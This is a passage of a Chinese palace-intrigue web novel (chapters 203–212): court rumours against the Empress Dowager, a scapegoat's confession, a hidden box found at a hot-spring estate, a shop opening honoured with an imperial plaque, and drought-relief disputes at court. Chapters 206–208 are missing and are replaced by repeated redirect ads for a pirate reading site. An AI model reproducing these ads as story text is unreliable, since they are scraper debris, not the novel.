接二连三的打击,太后哪里撑得住,她哽咽道:“不好。哀家如今很不好。” “福安和朝华先后离世,哀家的精气神大不如前,如今外边又传出那样的流言,这不是逼哀家去死么?” “母后说的什么糊涂话,您定会长命百岁的。朕立刻命人去彻查此事,绝不会让人污了母后的名声。”文昭帝斩钉截铁地回答。 他当着太后的面让人去辟谣,太后心里这才好受了一些。 但却事与愿违。 文昭帝下令禁止传播谣言,可哪能管得住所有人的嘴。 宫里越压,百姓们就越认定是太后逼死了驸马,所以她才这么害怕真相传开。 这事传回宫里,太后当夜就被气得晕了过去。 文昭帝不得不再一次来了长乐宫。 “皇帝,你不是跟哀家保证过,要将那些刁民的嘴给堵上么?如今这流言蜚语,怎么反倒传得更凶了?”太后倚在榻上,面容蜡黄,眼窝深陷,看起来憔悴极了。 文昭帝一本正色道:“母后,防民之口甚于防川,这种事情岂是这么容易制止的。不过您放心,朕这回一定会让这些谣言都消失。” 而后他又宽慰了她两句,命太医给她替她诊治,待她歇下后,这才面色阴沉地看向长乐宫的宫婢。 长乐宫的人,是该好好敲打敲打了。 文昭帝冷冷道:“太后凤体违和,半分忧思愁绪都受不得。若是日后外头那些风言风语再有一字飘进长乐宫。朕便将那多舌之人……枭首示众。” 话音落下,宫女太监们便哗啦啦地跪倒了一地。 文昭帝面色冷漠地离开了长乐宫。 太后的手,终究伸得太长了。 宫墙之外的消息,竟也能这般迅捷地传入深宫之中。 接下来的几日,太后宫中的亲信旧人,接二连三地因“冲撞圣驾”、“御前失仪”等种种由头,被皇帝下令责罚、贬黜,乃至逐出宫去。 其中好几个,都是太后倚为臂膀的心腹。 太后惊觉不对,细细一盘查,才惊悚地发现自己身边得用的人手竟如指间流沙般,不知不觉已散去大半。 那些沸沸扬扬的宫外流言未能击垮她,文昭帝这番不动声色却刀刀见血的釜底抽薪却将她给彻底气病了。 与此同时,烈国公认亲宴上晏逐星遇刺一事,也终于有了结果。 第204章 真凶认罪了 晏逐星早就料到幕后真凶李兰亭不会轻易被揪出来,但她也万万没想到,出来顶罪的竟然会是晏氏一族的族长。 准确的说是曾经的族长晏光启。 他的妻子汪氏涉嫌给定远侯“下毒药”后,被烧死在了玉澜院,他便不得再担任晏氏一族的族长了。 若不是他是定远侯的亲叔叔,只怕要被闹得除族。 与国公府攀上了关系,他们还愁晏氏没有好前程么。 可这一切都被汪氏那贪恋又愚蠢的妇人给毁了。 晏氏族人恨透了晏光启一家。 晏光启面如死灰,僵立在公堂之上承认了自己的罪行。 “我夫人……她一时糊涂才犯下了大错。可这贱人晏逐星,她做了什么?她竟然没帮着遮掩,还报了官,将这等腌臜事情公之于众。这不是败坏侯府的名声,败坏晏氏一族的清誉么?!” “我夫人的死,一定是她所为,是她烧死了我的夫人!!!” “再说了,凭什么侯爷死了,我的族长之位也没了,她却过得那么好?” “她青云直上得了县主封号也不说回馈晏氏一族一二。她就是个忘恩负义、狼心狗肺的东西!” “我对她恨之入骨。所以才威胁了国公府的丫鬟,帮我办事。” “只有她死了,我才不会一直被人指责。” “当初侯爷他们就不该将她带回家!!!她就是个灾星!!!” “若非她克亲,侯府上上下下又怎会死绝。” 晏光启说完,闭上了眼睛。 他已经按照那位贵人说的话做了,只盼他的儿子和孙儿,日后能重新谋一个好前程。 日后重新掌管晏氏,让那些看不起他们的人,全都在他们脚底下摇尾乞怜。 晏光启这番话合情合理,他与晏逐星也有深仇大怨,刑部和大理寺略微一查证后,就将此案了结了。 “失望么?” 听完下属带回来的消息,谢翊宁扭头看向晏逐星。 此刻晏逐星正领着九栀在给温泉山庄的主院设下机关。 她要搬到这里来,周围人少,她手中可用的人也不算太多,自然要做好防备。 而谢翊宁时常会不请自来,所以还是得把他一块叫过来,不然哪天他忽然造访被机关所伤那可就麻烦了。 听到谢翊宁这话,她笑着摇了摇头:“不失望。” “李兰亭人已经死了,公道我已经自己讨回来了。我不需要朝廷给我公道。” “晏光启本就不是什么好东西,死了也好。” 谢翊宁心下微动。 小恩人并不相信官府能还她公道,怪不得每一次都亲力亲为去杀人。 晏逐星冲他眨了眨眼睛:“最重要的是,太后现在还被气病了,应该暂时分不出心神来对付我了。” 从谢翊宁那里知道李兰亭在长乐宫门口被太后惩戒掌嘴十下后,她就想着什么时候将此事拿出来宣扬宣扬。 给太后和李家添堵。 没想到,机会比她想象中来得更加快。 大理寺确认李兰亭是悬梁自尽无误后,她便让张小乙将此事透漏给了从前凿冰的百姓们。 一传十,十传百,后来不用她去推波助澜,百姓们就议论纷纷了。 如今,太后因为李兰亭的死分不出心来对付她,正好方便她顺利搬家。 “这倒也是,太后应该能消停一阵子了。”谢翊宁点了点头。 “我倒是希望太后能消停一辈子。一阵子实在太短。”晏逐星叹了一口气。 毕竟,头上悬着一把恻刀的感觉可不好受。 “倒也不是不行,本王有个法子。” 谢翊宁眼珠子一转,有了一个好主意。 “太后在宫廷里,若是死得不明不白,恐怕难以脱身。王爷切不可以身冒险。”晏逐星听到这话脱口而出,眉眼里是掩不住的担心。 见她担心自己,谢翊宁心情莫名其妙又好了几分。 “放心吧,她可是太后,本王的皇祖母,我怎么可能会傻到派人直接去杀她。”他冲晏逐星招了招手,示意她附耳过来。 晏逐星乖乖地把脑袋凑了过去。 谢翊宁弯腰低下头,贴到她耳朵边上,低声将自己的想法说了出来。 晏逐星听完猛地瞪大了眼睛,连连称赞:“王爷甚是聪慧,这法子真是精妙!” 片刻后,她又有些迟疑:“只是这东西最好还是不要沾咱们的手吧,免得日后查出来,就算处理干净了,也容易惹上一身腥。” “言之有理,此事咱们从长计议。只要太后不对你动手,晚一些促成此事也无妨。”谢翊宁赞同地点了点头。 而后他环顾四周,笑眯眯地转移了话题。 “那这山庄呢,你可还满意?” 这山庄当初是秦王妃的陪嫁,被抄没之后许久没人入住,有些荒凉。 这些日子,他便派了人过来帮着晏逐星一块打扫,让她好在良辰吉日里搬过来。 “我很满意!”晏逐星眼眸亮晶晶的,重重点头,唇角抑制不住地扬起。 这温泉山庄的位置实在是得天独厚。 环抱于苍翠山谷之中,冬无凛冽朔风,夏有凉风习习。 最妙的是,清洌甘甜的山泉水便在不远处潺潺流淌,触手可及。这样即便六月京城酷暑难捱,她在这也不会觉得有多难受。 更让她心动的是附近那片开阔的马场。 不过区区五里之遥,策马扬鞭,转瞬即至。 “皇上赏的这庄子,实在称心!再没有比这更好的恩典了!”怕他不信,晏逐星再一次强调。 此地方圆,草木皆带着无拘无束的气息。 她终于可以卸下枷锁,重新跨上马背,找那份久违的自在与飞扬。 在这儿,天高地阔,连呼吸都畅快,比困在京城那金雕玉砌的牢笼里自在千百倍。 “你喜欢就好。”谢翊宁谢翊宁见她眉眼弯弯,唇角也不自觉地上扬。 两人闲谈间,双鲤红着眼睛走了过来。 二话不说,扑通就跪到了地上。 第205章 发现秘密了 晏逐星吓了一跳。 好端端的,这是怎么了? 双鲤红着眼眶,声音带着浓重的鼻音,想来之前就已经哭过一回了。 “县主,奴婢该死!方才在清扫浴池时,发现池底有一块石砖有些松动。奴婢想着许是年久失修,怕它日后硌着您的脚,就试着用手按了按,想让它嵌回去。谁知……” 她哽咽了一下,头垂得更低了。 “谁知奴婢手笨,力气没使对地方,竟把那石砖的一个小角给按崩了!奴婢真的不是故意的,奴婢知错了,求县主责罚!” 她将御赐的山庄给弄坏了,呜呜呜呜呜呜。 这得花多少个月的月银才能赔得起啊。 会不会把她卖了也赔不起? 晏逐星听到这话,松了一口气。 她还以为是什么大事呢。 “好了,莫哭了。”晏逐星平静地开口。 “起来说话。崩坏一角而已,又不是什么大事。带我去看看吧。” 她有些好奇,这秦王妃的陪嫁竟然做得这么偷工减料么,轻轻一按就会碎? 双鲤如蒙大赦连忙起身引路。 “本王也一块瞧瞧去,这池子怎会那么容易坏。”谢翊宁也有些好奇,跟着晏逐星主仆二人一块走了过去。 浴池内水汽氤氲,池水已放空大半,方便清洁。 双鲤小心翼翼地指着池底靠近边缘的一处:“县主,就是这儿。” 晏逐星踏入微凉的池底。 她顺着双鲤指着的位置蹲下身,指尖抚过那块颜色纹理与周遭几乎无异的石砖。 崩掉的小角露出内里灰白的茬口,确实是刚弄坏的印迹。 她捡起一旁的小碎块,将它重新按了回去。 她笑着扭头看向双鲤:“你瞧,这不就修好……” 了么。 两个字还没说出口。 她就察觉到了不对劲。 这个崩角似乎带着一丝微不可察的突起。 她心念一动,扔掉了碎块,尝试着用指甲抵住那点突起,向下按了按。 咦? 没反应。 “县主,您在做什么?”双鲤有些好奇。 “没什么。”晏逐星摇了摇头。 她随意地把那块凸起往上,往左,往右,往每一个方向都转了一遍。 就在她以为自己想多了的时候。 “咔哒。” 一声极其轻微的弹响声传了出来。 晏逐星下意识地后退了一步。 但她却忘了自己此刻身在浴池之中有些打滑,一后退,就控制不住地往后倒去。 “县主当心!” 双鲤话音落下的时候,谢翊宁已经跳下池子稳稳从身后接住了她。 “多谢王爷!”晏逐星长长地舒了一口气。 幸亏永安王来得及时,不然她怕是要摔个四脚朝天了。 那也太丢人了。 “无妨。”谢翊宁松开了搀扶她的双手,心里止不住地嘀咕了起来。 国公府的伙食是不是不好啊,怎么小恩人在那住了一段时间,感觉一点肉都没长,还是那么瘦。 那小腰细的,他感觉他双手一掐就能环住了。 日后得从王府拨一个厨娘过来给她调养身子,将她养得白白胖胖的才行。 “咦,有东西!” 晏逐星的声音打断了他的思绪。 谢翊宁顺着她指的方向看了过去。 这才发现,先前那块石砖竟缓缓地向内侧滑开,露出了一个约莫一尺见方的洞口。 晏逐星凑近那洞口,借着浴池上方透下的朦胧光线向内望去,发现里边静静地躺着一个包裹在发黑破损的厚油布里的盒子。 “不会是秦王妃藏的什么宝贝吧?”晏逐星下意识地脱口而出。 “打开看看不就知道了。”谢翊宁也很好奇。 当年隐麟卫抄家时,竟然没找出来么。 有了他这句话,晏逐星三下五除二地就把外边那层厚油布给扯开了。 里边是一个方方正正的小盒子,通体漆黑,四面八方都有七八个大小相差无几的椭圆形凹坑,没看到锁。 晏逐星想要打开,但却不得其法。 左拧右拧都没弄开,她把盒子递给了谢翊宁:“我打不开。” 谢翊宁接过捣鼓了一下,也开不了。 这上边除了椭圆的凹坑,其他什么图案也没有。 晏逐星总觉得这些凹坑有些眼熟。 忽然,她灵光一闪,眨巴着眼看向了谢翊宁。 “王爷,你有没有觉得这些凹坑的大小和我那个镯子上那个蓝色琉璃的大小差不多?” 她这么一说,谢翊宁顿时也反应了过来。 会不会那个镯子就是打开盒子的开关? 他果断道:“你先去换身衣裳和鞋袜吧,莫要染了风寒。本王这就命人回府将镯子寻来。” 那个镯子他之前命人拿出去打听无所获之后,他怕弄丢,便收在了王府里。 “好。”晏逐星毫不犹豫地就答应了下来,丝毫不担心他把东西拿走。 “那王爷是不是也得换了呀?”她指了指谢翊宁为了下来扶着她弄湿的靴子。 “反正这山庄大得很,王爷您挑个客房沐浴更衣吧。” “行。”谢翊宁也没跟她客气,这鞋子湿了穿在脚上实在难受。 他命停云回王府去取镯子和衣裳鞋袜。 没想到,停云竟然带了整整一马车的东西过来。 谢翊宁看着他身后塞得满满当当的马车:“……” 而停云一脸坦然,仿佛不觉得有什么问题。 他忍不住问道:“本王不是只命你取个镯子和几件衣裳来么,怎么,你这是把本王的寝殿都拆了搬过来?” 第206章 裴明镜误会 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 第207章 秦王府旧部 您当前浏览的是试读内容 更多精彩尽在 138du。C( 一键收藏,随时畅读 您当前浏览的是试读内容 更多精彩尽在 138du。C( 一键收藏,随时畅读 您当前浏览的是试读内容 更多精彩尽在 138du。C( 一键收藏,随时畅读 第208章 秦王妃行踪 当前为缓存页面,已不再更新 请前往 138du#cc 浏览最新章节 手机电脑都可访问 当前为缓存页面,已不再更新 请前往 138du#cc 浏览最新章节 手机电脑都可访问 当前为缓存页面,已不再更新 请前往 138du#cc 浏览最新章节 手机电脑都可访问 当前为缓存页面,已不再更新 请前往 138du#cc 浏览最新章节 手机电脑都可访问 第209章 不停要赏赐 “父皇说的什么话,就不能是儿臣孝顺您么。您若不要,那我可就全给母后了。”谢翊宁说完就要命人把银子抬走。 “当然要,朕什么时候说不要了。”文昭帝赶忙命人拦住了他。 “我儿孝顺,父皇高兴还来不及呢。” 听到他这话,谢翊宁这才露出了灿烂的笑脸。 “那就都给父皇。” 他坐在文昭帝下首,盯着他面前那一小碟樱桃。 不等他开口,文昭帝没好气地把樱桃递给了他。 “今日刚送入宫的,等会你出宫了拿一小筐走。” “儿臣多谢父皇赏!”谢翊宁笑眯眯地答应道谢,然后毫不客气地吃起了樱桃。 文昭帝看了一眼地契,有些疑惑:“你给朕这玩意做什么?” “是从您赏给令嘉县主那个温泉山庄里找出来的。”谢翊宁把找到秘匣的事情说了。 文昭帝没想到秦王妃竟然把东西藏得那么好,隐麟卫当初竟然没找到。 “这三千六百两银子也是从那宅子里找出来的?”文昭帝有些狐疑地盯着他。 “没错。”谢翊宁点了点头。 这三千六百两银子确实是宅子里找出来的,但找出来的不止三千六百两。 父皇只问了是不是从里边找到的,又没问一共找了多少,所以他这不算撒谎吧。 他转移了话题:“儿臣命人拷打了那院子里的老仆,她说秦王妃三年前曾给他们传过消息,当时她人在阆中。说是五年后会带着女儿回京。” 文昭帝听到这话顿时皱紧了眉头,随后又露出了释然的笑容。 “这么说来,秦王妃和她的女儿都还活着,那令嘉县主自然就不是她们的女儿了。你可以放心了吧。” 他给了儿子一个意味深长的眼神。 然而他没开窍的儿子压根不理解他的意思,只是重重点头:“儿臣早就说了她不是秦王的后人啊。她和皇家人长得完全不像。” 文昭帝:“……” “对了,父皇,说到令嘉县主,她在温泉山庄发现了这么大的秘密算不算有功?”谢翊宁趁机开口要赏赐。 文昭帝:“……” “父皇你不说话那儿臣就当你默认了啊。”谢翊宁飞快地将他想要的赏赐说了出来。 “不如您御笔亲题,给她赐一个颂匾吧。” 文昭帝磨了磨后槽牙。 “你今日给朕送宅子和银子,就是想换这个匾额吧?” “父皇说的哪里话。儿臣明明是惦记您,所以才把这些东西送来给您。匾额不过是顺便的事嘛。”谢翊宁说得那叫一个光明正大。 “而且那京中贵夫人们都想要的流光缎,儿臣已经拉下面子从她那讨了十匹,明日就送去给母后。” “行了行了,朕知道了。朕这就写。然后等她开张那日,让严公公亲自去送匾额,行了吧?”文昭帝完全扛不住小儿子的死缠烂打。 “父皇万岁!父皇真是古往今来天底下第一好的皇帝!”谢翊宁丝毫不吝啬自己的赞美之言。 “油嘴滑舌、油腔滑调,有空说这些话哄父皇高兴,你倒是先成个婚生个孩子让父皇高兴高兴啊。” 文昭帝嘴角上扬,但说出来的话却是谢翊宁完全不爱听的。 “父皇,儿臣就先行告退了。那日您记得要让严公公送匾额啊!”一提结婚生子,谢翊宁就抓了最后一颗樱桃,脚底抹油开溜了。 “小孽障。”文昭帝又好气又好笑地骂了一句,敷衍他还没忘了要好处呢。 也就是小石头了,换个人来,他非得好好教训一番不可。 看着谢翊宁消失的背影,文昭帝吩咐了下去:“去吧,命人将剩下的那一筐樱桃都送到永安王府去吧。还有他留下的那地契,一并送回给他,一个小宅子朕要来作甚。” “是。”严公公当即应下。 果然,没有人能比得过永安王在皇上心里的地位。 嘴上骂着小孽障,实际上最宠王爷的就是他了。 * 晏逐星完全没料到,谢翊宁竟然用十匹流光缎换了一个皇上御笔亲题的匾额。 这简直太划算了! “多谢王爷。”晏逐星道谢道得那叫一个情真意切。 “你没怪本王擅作主张就找你要十匹流光缎就好。毕竟你这流光阁的规矩是没有玉牌,一人只能购买两份。尚未开张,本王就以权谋私,坏了你的规矩。”谢翊宁有些不好意思。 他只想着替她讨要赏赐,却忘了她这的规矩。 若他可以这样随意地要走十匹,那下一次比她权势更高的人,是不是也可以这样做。 他这样做,想必会让她为难。 “喏,不就是玉牌么。王爷您是第一个拿到的!”晏逐星二话不说就把流光阁限量的金镶玉玉牌给了他。 “换做外人,即便是持有玉牌,我也不会一下给出十匹流光缎。但王爷不同,您是自己人呀。” 一句话让谢翊宁瞬间眉眼都生动了起来,笑意满面。 小恩人说话就是好听。 不怨他总想给她好东西。 这般乖巧懂事,若是他家的孩子,父皇母后不得抢着疼。 “嗯,那本王就收下了。”谢翊宁也不跟她客气,将那玉牌收入囊中。 晏逐星当即命人将上好的十匹流光缎交给了他。 随后,她又取出一方精致的锦匣,亲自打开。 匣中丝绒之上,一颗明珠清冷如月。 晏逐星笑着把匣子递了过去:“还有这颗合浦南珠,是我命人特意在岭南寻来的。拢共就找到三颗像样的,这颗最大最圆。麻烦王爷受累,一块儿带给皇后娘娘吧。这是我的一点小小心意,还望王爷和娘娘不要嫌弃。” “怎么会嫌弃!母后瞧见了,定然要重重赏你。”谢翊宁看到这颗珍珠,眼前一亮。 世人皆知西珠不如东珠,东珠不如南珠。 上回王贵妃娘家人给她送了一颗漂亮的东珠把她给嘚瑟的,这回晏逐星送的这颗南珠比她那颗要漂亮多了。 到时候王贵妃脸怕是都要气歪了。 “皇后娘娘喜欢就好。”晏逐星松了一口气。 当时她让关家人在岭南研制流光缎时,顺便搜罗那边方便运回来的稀奇宝物,没想到还真让他们给找到了成色这般漂亮的南珠。 谢翊宁先前还带了半筐樱桃和秦王妃留下的那套地契,说是都给她。 她一看,王爷有好东西总是想着她,她也不能藏私,因而便把这原本打算留来镇店的上好南珠拿了出来。 “放心吧,我了解母后,她肯定会喜欢。”谢翊宁忍不住摸了摸她的脑袋。 小恩人真大方。 明明穷困潦倒的,这么好的东西却也舍得说送就送。 真是个好姑娘。 他要入宫,让母后好好赏她一番! 第210章 儿子开窍么 果不其然。 崔皇后瞧见这颗漂亮的南珠,笑意盈盈,心情好极了。 “真好看,小石头有心了。” “不是儿臣有心了,是令嘉县主有心了。您上回赠了她浮光锦,又替她改了太后娘娘赐的难听封号,她感激您呢,所以才特意命人寻了这上好的南珠送您。” 谢翊宁才不居功,对着晏逐星就是大夸特夸。 崔皇后饶有兴致地看着他:“哦?可是母后记得浮光锦赏的明明是你,又不是她。怎么会落到她手里了?” “母后您那不就是借着儿臣的手送她的么,儿臣都懂!” 谢翊宁一句话让崔皇后差点没激动得站起来。 儿子这是开窍了? 下一句话,谢翊宁就泼了她一盆冷水。 “她最近没得什么功劳,您平白无故赏她,多不合适呀。她是儿臣救命恩人之事,只有我知,您知,父皇和国师知。永安王府又无女眷,这料子您不是借儿子的手转赠给她,还能是给谁。” 崔皇后:“……” 谢翊宁却兴致勃勃地继续说下去:“母后放心,儿臣没有居功,已经说了是您送给她的。这不,她心里记挂着您的恩典呢,这么漂亮的流光缎和南珠,都让儿臣给您送来了。” 崔皇后扶额:“……你就不能说是你送的么???” “那怎么行。若是我送的,多不合适,显得我俩私相授受了。多坏了人家小姑娘的名声啊。”谢翊宁反驳得坦坦荡荡。 崔皇后原本看见南珠的开心瞬间荡然无存。 “走走走,赶紧走,本宫现在看见你就头疼。就你这傻样,猴年马月才能给本宫寻一个儿媳妇啊。”她嫌弃地摆手,赶谢翊宁出宫。 “母后这话说的,哪里用得着猴年马月,拢共还有一年零七个月儿臣就满二十岁了。到时候若是平平安安活下来了,儿臣保证立马就听您的娶妻生子。”谢翊宁嬉笑着凑上去给她按揉脑袋。 “您就别头疼了,头疼多伤身啊。” 崔皇后拿这个小儿子是一点法子也没有。 这混小子就跟个滚刀肉似的。 说了也不听,听了也不做。 没辙! “行吧行吧,儿孙自有儿孙福,没有儿孙本宫自己享福。本宫不操心你的终身大事了,你好好呆在京城哪里也不许去,度过了二十岁生辰再来说这事。” 崔皇后放弃催这油盐不进的小儿子了。 “您要是觉得孙儿抱得不够,您催催太子哥哥和太子妃嫂嫂啊。让他们早日争取诞下皇太孙,省得那些大臣叽叽歪歪让他纳侧妃。” 谢翊宁直接转移了火力,把压力给到了兄长身上。 崔皇后没好气地拍了他的手一下:“你太子妃嫂嫂才刚生下令仪半年多,这个时候要孩子多伤身子啊。得养好了身子才能诞下皇太孙。至于那些大臣他们要是再多舌,就让你父皇给他们多找点事干。” “天天闲的没事盯着太子生孩子做什么,大虞没别的事可操心了么。” “再说了,你父皇正值身强力壮之际,他们急什么皇太孙啊,是活不到太子他们生下皇太孙的时候了么。” “母后说得真是太对了。”谢翊宁见母后的火气完全转移,长长地舒了一口气。 领着两个女儿来拜见皇后的太子妃沈清梧在殿外听到这话,眼眶一瞬间就红了。 她嫁给太子六年,至今只有两个女儿,娘家人都急了,生怕她生不出儿子。明里暗里不知道多少回偷偷给她请了民间的大夫,给她寻各种生子药。 可皇后却从没有催过她,总是安慰她不着急,缘分到了,孩子就来了。 她一直以为那是面子上的话,不曾想,皇后面对心爱的小儿子时说的话竟然也是这么偏袒她。 能给皇后娘娘当儿媳妇,真是她八辈子修来的福气。 * 转眼就到了流光阁开业的这一日。 朱雀大街热闹不已。 许多收到了晏逐星送去的帖子的贵夫人们都来了。 晏逐星在衔蝉的配合下,有条不紊地接待着今日大驾光临的客人们。 裴明镜远远地看着,没有上前。 这几日,他命人偷偷跟着永安王和晏逐星,他发现私底下两人见面时并无逾越之矩,似乎只是寻常的见面。 他这才松了一口气。 或许那日两人换了衣裳,是出了什么意外。 裴芜扭头看向他,一脸兴奋:“大堂兄,你说话可算话,今日我买的东西,都由你付银子?不管花多少银子都行?” “嗯。”裴明镜点了点头。 他帮不了她什么了,只能让堂妹去买些东西,权当支持她的生意了。 “你真的不跟我一块去见见星儿?你们都好久没见了。”裴芜并不知道窦淑容做的那些事情,因而还在热情邀请他一块。 “我还有事,就不去了。你今日回府后,可以多跟我讲讲今日的见闻。”裴明镜艰难地摇了摇头。 明明近在咫尺,往前走几步就能和她说上话。 可他问心有愧,不敢见她。 “好。”裴芜当即应下,没再强求,开心地拉着丫鬟璎珞的手挤到了人群里往流光阁走去。 这时,街头传来了一阵骚乱,不过眨眼功夫,又都安静了下来。 众人看了过去。 面前是两队内侍手执拂尘疾行清道,严公公就坐在肩舆上。 听到有知情人说那是皇上身边的心腹太监大总管,众人顿时噤声。 肩舆停在了流光阁面前,一旁的关万海夫妇被吓得大气都不敢喘。 天老爷啊,今日来了那么多贵夫人,他们已经吓得够呛。 怎么还有宫里的太监总管也来了? 晏逐星从谢翊宁那提早得知了消息,因此不慌不忙地迎接严公公。 “令嘉县主,接旨吧。皇上命老奴前来给县主贺喜。”严公公从肩舆上走了下来,笑容可掬。 “令嘉接旨。”晏逐星跪下,其余人等也哗啦啦地跟着跪下了。 “奉天承运皇帝,诏曰:兹闻令嘉县主晏逐星开设流光阁,诚信为本,童叟无欺,深孚朕心。特赐御笔亲书匾额一方,以彰其德,以励商道。望尔持守初心,惠泽四方。钦此——” “臣女晏逐星,叩谢皇上隆恩!吾皇万岁万岁万万岁!”晏逐星恭敬叩首。 “县主请起。”严公公含笑示意她起身,随即命人将皇上亲笔写下的“童叟无欺”的匾额悬挂到了店铺正中央。 至此,来流光阁买东西的人,都得先瞻仰一下皇上御赐的匾额。 这样的恩宠,自打皇上登基以来还是头一回。 众人都想不明白,为何一个身世不明的女子竟然能被皇上这般偏宠。 这个事情实在太令人震撼,比店里拿出来的流光缎还让人震惊。 不一会儿就传得人尽皆知。 就连被禁足的李柔徽和没出门的陆玥君都知道了这事。 两人虽不住一块,但面对此事,反应却出奇的相似。 第211章 是她的克星 愤怒、妒忌、不甘。 各种情绪交织在陆玥君心头。 听到下人传回来的消息,她气得狠狠捶了枕头一下。 自打上回在烈国公府在京城贵女面前被罚跪后,她自觉丢脸,便不愿出门。 但却依旧没有放弃关注晏逐星,想着日后一定要寻机会把场子找回来。 得知今日流光阁开业,她原本寻了人去闹事,想要搅黄了晏逐星开张第一天的生意。 不曾想皇上竟然给她赐了匾额?! 那些人见流光阁背后有皇上撑腰,当即灰溜溜地跑了,这事就没办成。 真是气死她了! 同一时间,李柔徽收到消息,脸色也阴沉得很难看。 可她如今什么也做不了。 有了祖父和大伯的命令,大伯母现在看她看得很紧,别说她岀不了门,就连她的丫鬟也出不去。 大伯母防她防得跟贼似的。 她只能暂时忍耐下来。 “晏逐星,且看你能得意到几时。”李柔徽闭上了眼睛。 小叔不在了,但还有太后呢。 按照小叔的说法,太后对晏逐星也恨之入骨,她就不信太后能容忍晏逐星招摇那么久。 长乐宫中。 太后得知文昭帝给晏逐星赐了匾额,气得嘴角都起了燎泡。 “气死哀家了,皇帝是要跟哀家对着干么。”她破口大骂。 一旁的桂嬷嬷赶忙安慰:“太后娘娘息怒,老奴打听了,此事是永安王撺掇的。您知道的,皇上素来偏宠他,这才……” “好啊!又是他搞的鬼。”太后气得狠狠拍了一下桌子。 “怎么哪哪都有他,他就是哀家的克星!” 从那小子启蒙之后,她就没过过一天顺心日子。 小嘴嘚吧嘚吧的,比当朝太傅都能说,每次都给她说得哑口无言。 若是说不过别人,就往地上一躺,哀嚎着要死了。 这谁还敢和他吵啊。 桂嬷嬷不敢多言,只能轻轻抚拍她的背给她顺气。 太后气理顺后,冷静了下来。 “你说上回皇后和那小兔崽子在长乐宫拼了命地护着那野丫头,难不成是因为永安心悦那丫头?” 桂嬷嬷迟疑了片刻后,开口道:“老奴瞧着不像。若是心悦她,怎么会在她面前直接就往地上躺?” 她这么一说,太后也觉得有几分道理。 但转念一想,谢翊宁就不是一个能按常理推断的人。 万一他跟那野丫头说话也动不动就往地上躺呢,然后那野丫头就好这一口呢? 想到那个场景,太后感觉自己胳膊上的鸡皮疙瘩都爬起来了。 “总之,不管什么原因,皇后和永安都对那个野丫头颇为偏爱。若是能将她杀了,他们心里肯定不好受。”太后被逼得不想再忍了。 她不想通过钝刀子磨肉的法子让晏逐星难受了。 她也想快刀斩乱麻,让晏逐星去死,这样才能消了她心头的恶气。 “再过十日不就是皇后的诞辰了么,届时,就让那丫头死在她的寿诞上吧。”太后闭上了眼睛,做出了决定。 * 未央宫内。 大宫女云黛和妙檀正在整理皇后生辰宴的物品清单。 妙檀看着单子,忍不住看向崔皇后:“娘娘,今年您的寿宴安排得这样简朴,会不会显得寒酸了些?奴婢担心王贵妃那边知道了,又要拿这事儿做文章。” 崔皇后摇了摇头,语气十分淡然:“三月那场暴雨,万幸皇上得了先帝托梦警示,及早防备,这才救下无数百姓,也省下了一大笔救灾的银子。” “这本是件喜事。可先帝不是还托梦说六月许州必遭大旱,这事儿恐怕不假。听那意思,旱情要一直持续到秋分以后呢。” “你得明白,一旦大旱成灾,受灾的州县要粮开仓,流散的百姓要安置救济,河道水渠更要抢修。接下来的几个月,国库的每一两银子都要分作两半花,用在救灾救命、保一方平安这种刀刃上。本宫的寿宴,简单操办就好。” “至于王贵妃那边……” 崔皇后嗤笑一声。 “她若敢生事,那便让她家里多掏些银子赈灾去。” “是。”妙檀应下,不再多言。 朝堂上,文昭帝和众大臣正商量着许州大旱的事。 上次他把儿子说的那两件祸事伪装成是先帝托梦示警,刚好碰上南阳知府贪墨的案子露了馅,他就顺水推舟,借着这个机会拿住了群臣,让他们不得不信,提前去修了堤坝、疏散老百姓。 这一手不仅救下了无数条人命,更省下了大把准备救灾用的银子。 如今说到六月许州要闹大旱,朝堂上下都深信不疑。 毕竟根据许州官员汇报,四月起,许州就没下过雨了。 许州地界内的水位也越来越低,再这样下去,恐怕六月一到,许州百姓怕是连水都喝不上了。 “许州的赈灾银可备好了?”文昭帝的目光扫过阶下众臣。 户部尚书忙不迭出列,躬身道:“启禀皇上,银两俱已备足于应急专库,足可支撑灾情初期开仓放粮。” “好。”文昭帝微微颔首,接着问道,“周遭的粮食可曾备齐了?” “皇上圣明!”户部尚书声音提高了几分,带着一丝自得。 “自三月后,臣等谨遵旨意,已将许州邻近州县可征调的富余粮米,尽数购入库中,严加看管。定保粮价平稳,绝不让奸商有囤聚居奇之机!” 他顿了顿,补充道:“后续无力购粮的百姓,也可按制赊贷,秋后还粮于官仓。” 文昭帝眼神稍缓,抛出另一个问题:“提前引水修渠之事,进度如何?” 工部尚书出列回话:“回皇上,各州府民夫日夜赶工,不敢懈怠。按陛下所示需重点疏浚之河道、塘坝及新开水道,已动工六成有余。” 他瞥了一眼工部尚书的方向,抬高了音量:“但各州府库银告急,若户部再不拨一笔银钱,恐难以为继……” 他话音未落,户部尚书已是脸色一变,急急抢步上前,扑通跪下: “皇上明鉴!户部的银子已尽数填入了囤粮之需,实无余银可挪啊。若再动此赈灾根本之银,恐怕只够许州百姓支撑月余之需了!” 工部尚书不甘示弱,也跟着哭诉了起来。 “旱情如此严峻,引水修渠乃保根本之策,工程浩大,急需钱粮支应民夫工食,这笔银子真的不能没有啊。” 户部和工部的官员就这样当堂争吵了起来。 文昭帝一言不发地听着,面色越发冷峻。 忽然,他轻笑一声。 第212章 王爷卖东西 “杨卫宗。” 文昭帝一开口,争执不休的官员们全都安静了下来。 被点名的工部尚书后背一麻,火速下跪。 “臣在。” “从三月下旬开工至今,引水工程竟只完工六成?”文昭帝的声音充满了难以置信的怒火和深深的失望。 “你告诉朕!是工部调不动人?还是户部拨的工食银子落到了那些贪官污吏的肚子里?” “还是你杨卫宗懈怠渎职,将这旱灾之中的万千黎明百姓的性命当成了儿戏?!” “你可别忘了,温如璋如今身在何处。” 工部尚书腿一软,也跟着扑通跪倒在地。 他就说这个工部尚书的职位不吉利吧,每个人都坐不久。 大哥还非要他争。 瞧瞧,上一任工部尚书温如璋现在成了七品芝麻官,他才坐了不到三个月的尚书之位,不会又被一撸到底了吧。 他越想越心酸,哽咽道: “皇上明鉴。工期延误确因工程浩大无比。” “许州及周边地质复杂,连日干旱又令土地板结如铁,凿渠引水异常艰难。” “臣日夜督战,工部属官连月无休,更征发民夫逾万。人力实已到了极限啊皇上!” “是臣无能啊……” 